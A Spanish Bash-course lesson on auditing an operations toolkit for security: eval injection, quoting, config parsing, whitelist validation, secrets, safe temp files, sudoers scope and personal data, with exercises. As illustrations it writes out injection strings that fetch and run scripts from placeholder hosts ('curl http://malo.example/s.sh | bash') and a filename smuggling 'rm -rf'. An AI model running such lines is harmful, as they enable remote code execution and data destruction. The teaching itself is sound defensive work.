La lección anterior terminó con una pregunta incómoda: el toolkit ya es legible y rápido, pero ¿es seguro? Estos scripts se ejecutan sin nadie delante, algunos con sudo, guardan claves SSH que abren tres servidores, leen un fichero de configuración con credenciales y procesan un CSV con datos de clientes y repartidores. Un fallo de rendimiento hace que el informe llegue tarde; un fallo de seguridad hace que alguien ejecute órdenes en srv-veloz-01 con tus permisos. Esta lección audita el toolkit de arriba abajo: inyección de comandos, validación de entrada, secretos, ficheros temporales, mínimo privilegio, condiciones de carrera y datos personales, con una lista de comprobación final.

Contenido

  1. El modelo de amenaza de un script de operaciones
  2. Inyección de comandos: por qué eval es una bomba
  3. Construir órdenes sin eval
  4. La variable sin comillas como vector de ataque
  5. source de la configuración ejecuta código arbitrario
  6. Entrada no confiable: validar con lista blanca
  7. Rutas, -- y nombres de fichero hostiles
  8. Gestión de secretos
  9. Temporales seguros, TOCTOU y escritura atómica
  10. Privilegios y entorno heredado
  11. Datos personales
  12. Lista de comprobación aplicada al toolkit

  1. El modelo de amenaza de un script de operaciones

Antes de repasar técnicas conviene saber de quién nos defendemos. Un script del toolkit recibe datos de sitios que no controlamos:

Fuente de datos ¿Quién la controla? Riesgo
Argumentos de la línea de órdenes Quien invoca el script Alto si corre con sudo desde un timer
/var/log/veloz/acceso.log Cualquiera que haga una petición HTTP Alto: la URL y el user-agent los escribe el atacante
Respuesta de veloz-api La API, o quien la comprometa Medio-alto
envios.csv El sistema que lo genera y quien introduce los datos Medio
Variables de entorno Quien lanza el proceso Alto: PATH, IFS y LD_* cambian el comportamiento

La conclusión operativa es dura y poco intuitiva: una línea de un log es dato hostil. Si alguien escribe "; curl http://malo/s.sh | bash; #" en el user-agent de una petición HTTP, esa cadena acaba en un fichero que tu script lee cada noche.

  1. Inyección de comandos: por qué eval es una bomba

eval toma una cadena, la vuelve a expandir y la ejecuta como si la hubieras escrito tú. Es decir: convierte datos en código.

# PELIGROSO: lee la variable cuyo nombre esta en $campo
campo="ciudad"
eval "valor=\$$campo"

Con campo=ciudad funciona. Con campo='x; curl -s http://malo.example/s.sh | bash' también: descarga y ejecuta un script. Y ese campo puede venir de un argumento, de un log o de un JSON de la API.

La regla es casi absoluta: si estás escribiendo eval, hay otra forma de hacerlo. En revisión de scripts de operaciones, el 99 % de los eval son sustituibles. Los mismos peligros tienen bash -c "$cadena", ssh host "$cadena" (07-06) y find -exec sh -c "$cadena": son los cuatro puntos calientes de cualquier auditoría, porque en todos ellos el texto vuelve a pasar por el intérprete.

  1. Construir órdenes sin eval

El caso típico es «montar una orden con opciones variables». La solución correcta es un array, no una cadena:

# MAL: cadena que hay que volver a partir
opciones="--max-time 5 --silent"
eval "curl $opciones \"$url\""

# BIEN: cada elemento del array es un argumento, sin reinterpretacion (04-03)
opciones=( --max-time 5 --silent )
[[ $verboso == si ]] && opciones+=( --verbose )
curl "${opciones[@]}" -- "$url"

Al expandir "${opciones[@]}" cada elemento llega como un argumento, sin pasar de nuevo por división de palabras ni globbing; aunque contenga ; o $(...), curl lo recibe como texto literal. Para componer cadenas sin subshell está printf -v ruta '%s/%s.json' "$DIR" "$ciudad", y para «acceder a la variable cuyo nombre está en otra variable» —donde más eval se ve— Bash 4.3 tiene las referencias de nombre:

veloz_lee_campo() {
    local -n destino=$1          # $1 es el NOMBRE de la variable de salida
    destino="$2"
}
veloz_lee_campo resultado "Valencia"

declare -n (o local -n) crea un alias sin expandir el contenido como código, que era justo el problema de eval. Conviene igualmente validar que $1 es un identificador válido.

  1. La variable sin comillas como vector de ataque

Ya sabemos de 03-06 que una variable sin comillas sufre división de palabras y globbing. En seguridad deja de ser un defecto estético:

fichero='envios.csv; rm -rf /tmp/veloz'
rm $fichero

Conviene ser exacto, porque hay un mito extendido: sin comillas, Bash no ejecuta el ; como separador de órdenes —la división de palabras ocurre después del análisis sintáctico—. Lo que sí ocurre, y basta para el desastre, es que rm recibe cuatro argumentos (envios.csv;, rm, -rf, /tmp/veloz) y borra /tmp/veloz. Con un valor como * -rf, el globbing expande el directorio entero. La conclusión no cambia: entrecomilla siempre.

  1. source de la configuración ejecuta código arbitrario

En 05-06 cargamos etc/veloz-ops.conf con source. Es cómodo y por eso es el patrón mayoritario, pero significa que el fichero de configuración es un script: una línea curl -s http://malo.example/puerta.sh | bash dentro de él se ejecuta con los permisos del toolkit.

Hay dos defensas. La obligatoria: fichero en 600, propiedad del usuario del servicio, en un directorio no escribible por otros. La segunda, para configuraciones sin lógica, es parsear en vez de ejecutar:

veloz_carga_conf() {
    local fichero=$1 clave valor
    while IFS='=' read -r clave valor; do
        clave=${clave// /}
        [[ $clave =~ ^[A-Z][A-Z0-9_]*$ ]] || continue   # lista blanca: descarta
        valor=${valor%\"}; valor=${valor#\"}            # comentarios y basura
        printf -v "VELOZ_CONF_$clave" '%s' "$valor"
    done < "$fichero"
}

Cada línea se trata como texto: se exige que la clave sea un identificador en mayúsculas —lo que descarta comentarios, líneas vacías y órdenes— y el valor se asigna con printf -v, que nunca lo interpreta.

  1. Entrada no confiable: validar con lista blanca

La diferencia entre lista negra y lista blanca decide muchas auditorías. Enumerar lo prohibido (;, |, `) siempre deja algo fuera: \n, &, la codificación URL, el equivalente UTF-8. Enumerar lo permitido y rechazar el resto es cerrado por construcción.

# Formato: lista blanca de caracteres
[[ $ciudad =~ ^[a-zA-Z0-9_-]+$ ]] || veloz_morir 1 "ciudad no valida: $ciudad"

# Mejor cuando el conjunto es cerrado: lista literal (04-05)
case $ciudad in
    Valencia|Sevilla|Bilbao|Madrid) ;;
    *) veloz_morir 1 "ciudad desconocida" ;;
esac

# Numeros: formato Y rango, nunca solo formato
[[ $dias =~ ^[0-9]+$ ]] && (( dias >= 1 && dias <= 365 )) \
    || veloz_morir 1 "dias fuera de rango: $dias"

Valida en el borde, en cuanto el dato entra, no diez funciones más adentro. Y valida el rango además del formato: dias=999999999 es sintácticamente correcto y provoca un bucle interminable.

  1. Rutas, -- y nombres de fichero hostiles

Tres problemas distintos con tres soluciones distintas.

Argumentos que parecen opciones. Si un nombre empieza por -, la orden lo toma como opción. -- marca el final de las opciones: rm -- "$fichero", grep -- "$patron" f.log.

Rutas con ... Un parámetro ../../etc/passwd saca "$DIR_DATOS/$nombre" del directorio previsto. Se normaliza y se comprueba el prefijo:

destino=$(realpath -m -- "$DIR_DATOS/$nombre")     # -m: no exige que exista
case $destino in
    "$DIR_DATOS"/*) ;;
    *) veloz_morir 1 "ruta fuera de $DIR_DATOS: $nombre" ;;
esac

Nombres con espacios y saltos de línea. Un fichero puede llamarse informe$'\n'/etc/passwd. Por eso en 05-01 usamos find -print0 con xargs -0: el byte nulo es el único carácter imposible en un nombre.

  1. Gestión de secretos

Los secretos del toolkit son la clave de la API, la contraseña del correo y la clave SSH.

Dónde NO va un secreto Por qué
En el código del script Acaba en Git y ahí se queda para siempre (08-04)
En la línea de órdenes ps aux lo muestra a cualquier usuario de la máquina (05-02)
En el historial ~/.bash_history lo guarda en claro (02-06)
En una variable exportada La heredan todos los hijos; /proc/PID/environ la delata
En un log Los logs se comparten, se rotan y se envían a soporte

La forma correcta es un fichero con permisos estrictos, creado con umask restrictiva:

umask 077                                     # todo lo que cree este proceso: 600 / 700
printf 'machine localhost login veloz-api password %s\n' "$token" > ~/.netrc
chmod 600 ~/.netrc                            # explicito, no confies solo en umask

veloz_api_get() { curl -sSf --netrc --max-time 5 "http://localhost:8080$1"; }

--netrc (o --netrc-file) lee las credenciales de ese fichero; -u usuario:clave las dejaría visibles en ps. Para equipos mayores existen gestores dedicados —Vault, pass, systemd-creds—, con el mismo criterio: el script pide el secreto en ejecución y no lo escribe en ninguna parte. Y si un secreto se filtra, se rota inmediatamente, antes que cualquier otra acción; si además está en Git, borrarlo del historial es un problema aparte que veremos en 08-04, y borrarlo no sustituye a rotarlo, porque cualquiera pudo clonar el repositorio.

  1. Temporales seguros, TOCTOU y escritura atómica

Un temporal con nombre predecible (tmp=/tmp/veloz-informe.txt) es una vulnerabilidad clásica: cualquier usuario puede crear antes ese fichero como enlace simbólico a /etc/crontab, y cuando el script escribe —más aún como root— escribe en el destino del enlace. Es el symlink attack. La solución, ya vista en 05-01, es mktemp, que crea el fichero con nombre aleatorio y permisos 600 en una operación atómica:

tmp=$(mktemp -t veloz-informe.XXXXXX)   || veloz_morir 1 "sin temporal"
trap 'rm -f -- "$tmp"' EXIT             # limpieza garantizada (05-03)

TOCTOU (time of check to time of use) es la ventana entre comprobar y usar. El patrón if [[ -e $destino ]]; then veloz_morir; fi; cp ... es intrínsecamente frágil: entre las dos líneas alguien puede crear el fichero, y comprobar más veces no cierra la ventana. Las soluciones son operaciones atómicas: mkdir (falla si existe), set -o noclobber, mktemp o flock (05-02). El caso más importante en el toolkit es la escritura atómica del resultado, porque mv dentro del mismo sistema de ficheros es atómico:

generar_informe > "$tmp"
mv -- "$tmp" /srv/veloz/informes/informe.html   # aparece completo o no aparece

Sin eso, quien lea mientras se escribe verá medio fichero, y un script que muera a mitad dejará uno corrupto que el siguiente proceso dará por bueno.

  1. Privilegios y entorno heredado

Mínimo privilegio significa que cada script tiene exactamente los permisos que necesita. informe-diario.sh solo lee un CSV y escribe en logs/: corre como el usuario veloz, no como root. Cuando haga falta una orden privilegiada, se acota en /etc/sudoers.d/veloz:

veloz ALL=(root) NOPASSWD: /usr/bin/systemctl restart veloz-api

Eso permite reiniciar el servicio y nada más; un veloz ALL=(ALL) NOPASSWD: ALL equivale a entregar la contraseña de root, con el agravante de que nadie lo percibe así. Dos apuntes más: Linux ignora el bit setuid en scripts que empiezan por #!, precisamente porque la ventana entre que el núcleo abre el fichero y el intérprete lo lee es explotable —así que la respuesta a «necesito privilegios» es sudo acotado, nunca chmod u+s—; y un directorio escribible por otros en el PATH de un script privilegiado permite colocar ahí un grep falso.

De ahí que un script sensible no herede su entorno, lo declare:

set -euo pipefail
IFS=$' \t\n'
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; export PATH
umask 077

Es la misma idea del entorno mínimo de cron (07-01), aplicada por seguridad: si alguien exporta IFS=/, tus divisiones de palabras cambian de significado.

  1. Datos personales

envios.csv y acceso.log contienen datos que identifican personas: nombres de repartidores, direcciones IP y, según el caso, direcciones de entrega. Tres consecuencias: anonimizar todo log que salga del servidor —a soporte, a un proveedor, a un ticket— con veloz_anonimiza_log (06-02), que sustituye IP e identificadores por marcadores estables; minimizar, no copiando el CSV completo si solo necesitas tres columnas; y retener lo justo, porque la política de retención del respaldo (07-03) también es una medida de protección de datos.

Y una advertencia que no admite matices: cualquier tratamiento de datos reales de clientes debe revisarse con el responsable de seguridad o de cumplimiento antes de ponerlo en producción. Las técnicas de esta lección son necesarias pero no sustituyen a un análisis legal —RGPD u otra normativa aplicable— sobre qué datos puedes tratar, dónde y durante cuánto tiempo. Un script técnicamente impecable puede seguir siendo ilegal.

  1. Lista de comprobación aplicada al toolkit

# Comprobación Estado en ~/veloz-ops/
1 Ningún eval, bash -c ni ssh host "$cadena" con datos externos Corregido en flota.sh
2 Todas las expansiones entrecomilladas Se verificará con ShellCheck (08-05)
3 Argumentos validados con lista blanca en el borde Añadido en informe-diario.sh y estado-servicio.sh
4 -- antes de rutas variables; -print0/xargs -0 en find Aplicado
5 Configuración en 600 y parseada, no ejecutada Permisos hechos; parseo pendiente
6 Ningún secreto en código, argumentos, historial ni logs --netrc en veloz_api_get
7 Temporales con mktemp + trap ... EXIT Aplicado en los cinco scripts
8 sudo acotado por orden en sudoers.d Solo systemctl restart veloz-api
9 PATH, IFS y umask 077 fijados en cabecera Aplicado en lib/comun.sh
10 Salida final escrita con mv atómico informe-diario.sh y respaldo.sh
11 Logs anonimizados antes de salir del servidor En el procedimiento de soporte

Errores Comunes y Consejos

  • Creer que «esto solo lo ejecuto yo». El script acaba en un timer, en otro servidor o en manos de un compañero. La entrada que hoy escribes tú, mañana la escribe un log.
  • Filtrar caracteres peligrosos en vez de aceptar los válidos. Toda lista negra está incompleta; usa case cerrado o [[ =~ ^[a-zA-Z0-9_-]+$ ]].
  • Poner el secreto en la línea de órdenes «solo para probar». Queda en ps mientras dura y en el historial para siempre.
  • Borrar un secreto sin rotarlo. El borrado no es la mitigación; la rotación sí.
  • Consejo: sudo -l muestra exactamente qué puede ejecutar el usuario. Si aparece ALL, tienes trabajo.
  • Consejo: la auditoría es recurrente, no un hito. Cada vez que un script lee una fuente nueva, vuelve a la tabla del apartado 1.

Ejercicios

Ejercicio 1. Este fragmento cuenta navegadores a partir del user-agent de acceso.log. Identifica las dos vulnerabilidades y reescríbelo de forma segura.

while read -r linea; do
    agente=$(echo $linea | cut -d'"' -f6)
    eval "conteo_$agente=\$((conteo_$agente + 1))"
done < /var/log/veloz/acceso.log

Ejercicio 2. Escribe veloz_valida_ciudad, que valide su argumento contra la lista cerrada de Veloz Envíos y devuelva 0 o 1 con mensaje en stderr, funcionando aunque el argumento falte o contenga espacios.

Ejercicio 3. respaldo.sh genera /srv/veloz/respaldos/resumen.txt con > directo. Explica los dos problemas y reescribe el bloque de forma atómica y con temporal seguro.

Soluciones

Solución 1. Las vulnerabilidades son (a) $linea sin comillas, que sufre división de palabras y globbing, y (b) eval sobre un valor que escribe el cliente HTTP: un user-agent como x; curl http://malo/s|bash; x se ejecuta. Además read sin -r destroza las barras invertidas.

declare -A conteo
while IFS= read -r linea; do
    agente=${linea#*\"}                          # expansiones, no cut (08-02)
    agente=${agente%%\"*}
    [[ $agente =~ ^[a-zA-Z0-9._/ -]+$ ]] || agente="(no valido)"
    (( conteo["$agente"]++ ))
done < /var/log/veloz/acceso.log

La clave de un array asociativo admite cualquier texto sin interpretarlo, así que el dato hostil deja de ser código; la lista blanca evita además claves absurdas en el informe.

Solución 2.

# veloz_valida_ciudad <ciudad> -> 0 si pertenece a la lista, 1 si no
veloz_valida_ciudad() {
    local ciudad=${1-}
    case $ciudad in
        Valencia|Sevilla|Bilbao|Madrid) return 0 ;;
        *) printf 'ciudad no valida: %q\n' "$ciudad" >&2; return 1 ;;
    esac
}

${1-} evita el fallo con set -u si no hay argumento (03-06), el case es una lista blanca cerrada y %q escapa el valor para que un salto de línea no ensucie ni falsifique el log.

Solución 3. Los problemas son que el fichero se lee mientras se escribe —un lector ve un resumen a medias— y que un fallo a mitad deja un fichero corrupto que el siguiente proceso dará por bueno. El temporal debe estar en el mismo sistema de ficheros que el destino para que mv sea atómico:

tmp=$(mktemp -t resumen.XXXXXX -p /srv/veloz/respaldos) || veloz_morir 1 "sin temporal"
trap 'rm -f -- "$tmp"' EXIT
{ printf 'respaldo %s\n' "$(date -Is)"; printf 'ficheros: %d\n' "$n_ficheros"; } > "$tmp"
mv -- "$tmp" /srv/veloz/respaldos/resumen.txt

Conclusión

Auditar un script de operaciones consiste en aceptar que los datos que entran son hostiles —una línea de log la escribe cualquiera que haga una petición HTTP— y cerrar las vías por las que un dato se convierte en código. La principal es eval, sustituible por arrays de argumentos, printf -v y declare -n; le siguen bash -c, ssh host "$cadena" y find -exec sh -c, y el source del fichero de configuración, que ejecuta lo que contenga y puede reemplazarse por un parseo de clave=valor con lista blanca de nombres. La validación se hace en el borde y siempre con lista blanca —case cerrado o [[ =~ ^[a-zA-Z0-9_-]+$ ]]—, comprobando rango además de formato, con -- para terminar las opciones, realpath más comprobación de prefijo frente a las rutas con .., y -print0/xargs -0 frente a nombres con espacios o saltos de línea. Los secretos no van nunca en el código, ni en la línea de órdenes —visibles en ps—, ni en el historial, ni en variables exportadas de más: fichero 600 con umask 077, --netrc en curl, gestores dedicados si el equipo crece, y ante una filtración rotar siempre, antes que borrar. Los temporales se crean con mktemp y se limpian con trap EXIT, porque un nombre predecible en /tmp es un ataque de enlace simbólico esperando; las comprobaciones del tipo if [[ -e f ]] son frágiles por definición y los resultados se publican con mv atómico; los privilegios se acotan orden por orden en sudoers sabiendo que Linux ignora el setuid en scripts y que eso nos protege; y un script sensible fija su PATH, su IFS y su umask en lugar de heredarlos. Por último, los datos personales exigen anonimizar antes de compartir, minimizar lo que se copia, retener lo justo y —sin excepciones— revisar cualquier tratamiento de datos reales con el responsable de seguridad o cumplimiento antes de producción.

El toolkit es ahora legible, rápido y auditado. Pero todos esos cambios se han hecho editando ficheros encima de los anteriores, sin forma de saber qué cambió, cuándo, por qué ni cómo volver atrás si el refactor de vigilante.sh rompe la vigilancia el martes de madrugada. La lección 08-04 pone ~/veloz-ops/ bajo control de versiones con Git: qué se versiona y qué no —empezando por el fichero de configuración que acabamos de proteger—, mensajes de commit útiles en operaciones, deshacer con criterio, ramas para probar sin tocar producción, etiquetas para marcar la versión desplegada en la flota y un hook pre-commit que impida subir código sin revisar.

Curso de Programación en Bash

Módulo 1: Introducción a Bash

Módulo 2: Comandos Básicos de Bash

Módulo 3: Fundamentos de Scripting

Módulo 4: Scripting Intermedio

Módulo 5: Técnicas Avanzadas de Scripting

Módulo 6: Trabajando con Herramientas Externas

Módulo 7: Automatización y Programación

Módulo 8: Mejores Prácticas y Optimización

Módulo 9: Proyectos del Mundo Real

© Copyright 2026. Todos los derechos reservados